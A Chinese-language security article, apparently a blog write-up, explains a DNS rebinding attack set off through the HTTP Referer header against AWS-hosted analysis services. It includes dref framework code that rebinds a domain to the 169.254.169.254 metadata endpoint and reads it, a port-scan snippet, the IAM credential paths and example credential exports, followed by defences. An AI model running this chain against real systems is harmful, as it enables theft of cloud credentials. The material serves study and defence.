基于HTTP Referer头部的DNS重绑定攻击
字数 1155 2025-08-29 08:32:30
基于HTTP Referer头部的DNS重绑定攻击技术分析
攻击概述
DNS重绑定攻击是一种利用浏览器DNS缓存机制的安全漏洞,通过动态修改DNS记录使合法域名指向内部IP地址,从而绕过同源策略限制的攻击技术。本文介绍的攻击变种通过HTTP Referer头部触发,针对AWS云环境中的请求分析系统实施攻击。
技术背景
DNS重绑定攻击原理
- 攻击者控制一个域名并设置极短的TTL(通常为0)
- 初始解析返回攻击者控制的服务器IP
- 在浏览器缓存过期后,修改DNS记录指向目标内部IP(如169.254.169.254)
- 浏览器因同源策略认为仍在与原始域名通信,实际上已访问内部资源
HTTP Referer头部利用
- 某些网站会向入站请求的Referer URL发起回调请求
- 这种行为常见于市场营销分析或威胁情报收集服务
- 攻击者可伪造Referer指向自己控制的恶意域名
攻击实施步骤
1. 目标发现
使用工具(如reson8)扫描识别会回调Referer URL的网站:
- 发送带有伪造HTTP头部的GET请求
- 记录响应时间、用户代理和JS执行情况
- 重点关注通过AWS IP访问且使用Headless Chrome的服务
2. 攻击准备
搭建DNS重绑定服务器(如dref框架):
// 使浏览器挂起的端点实现
router.get('/hang.png', function (req, res, next) {
res.status(200).set({
'Content-Length': '1'
}).send()
})
3. 环境探测
使用TCP端口扫描确认AWS元数据端点可达性:
import NetMap from 'netmap.js'
import Session from '../libs/session'
const session = new Session()
const netmap = new NetMap()
function main () {
netmap.tcpScan(['169.254.169.254'], [80, 1234, 4444]).then(results => {
session.log(results)
})
}
main()
4. 数据泄露
绕过同源策略获取AWS元数据:
import * as network from '../libs/network'
import Session from '../libs/session'
const session = new Session()
async function main () {
network.postJSON(session.baseURL + '/arecords', {
domain: window.env.target + '.' + window.env.domain,
address: '169.254.169.254'
})
session.triggerRebind().then(() => {
network.get(session.baseURL + window.args.path, (code, headers, body) => {
session.log({code: code, headers: headers, body: body})
})
})
}
main()
AWS元数据利用
关键端点
/latest/user-data- 获取实例初始化脚本/latest/meta-data/iam/security-credentials/- 列出可用凭证/latest/meta-data/iam/security-credentials/[role-name]- 获取临时凭证
凭证使用示例
export AWS_ACCESS_KEY_ID=AKIAI44QH8DHBEXAMPLE
export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
export AWS_SESSION_TOKEN=AQoDYXdzEJr[...]
aws ec2 describe-instances
防御措施
AWS环境防护
- 实施iptables规则限制对元数据端点的访问
- 确保与用户输入交互的进程不以root身份运行
- 遵循最小权限原则分配IAM角色权限
DNS重绑定防护
- 禁止外部DNS解析返回内部IP地址
- 对关键服务启用SSL/TLS加密
- 严格验证Host头部
服务设计建议
- 避免处理不可信URL的回调请求
- 限制Headless浏览器的网络访问权限
- 设置合理的请求超时时间
工具资源
- dref框架 - MWR的DNS重绑定利用框架
- reson8 - Referer回调服务发现工具
- Collaborator Everywhere - Burp Suite的交互式测试工具
总结
这种攻击方式展示了传统安全威胁在新环境中的演变,强调了云环境中服务间信任边界的重要性。通过精心设计的攻击链,攻击者可以绕过多重安全机制获取敏感凭证,组织应全面评估此类威胁并实施纵深防御策略。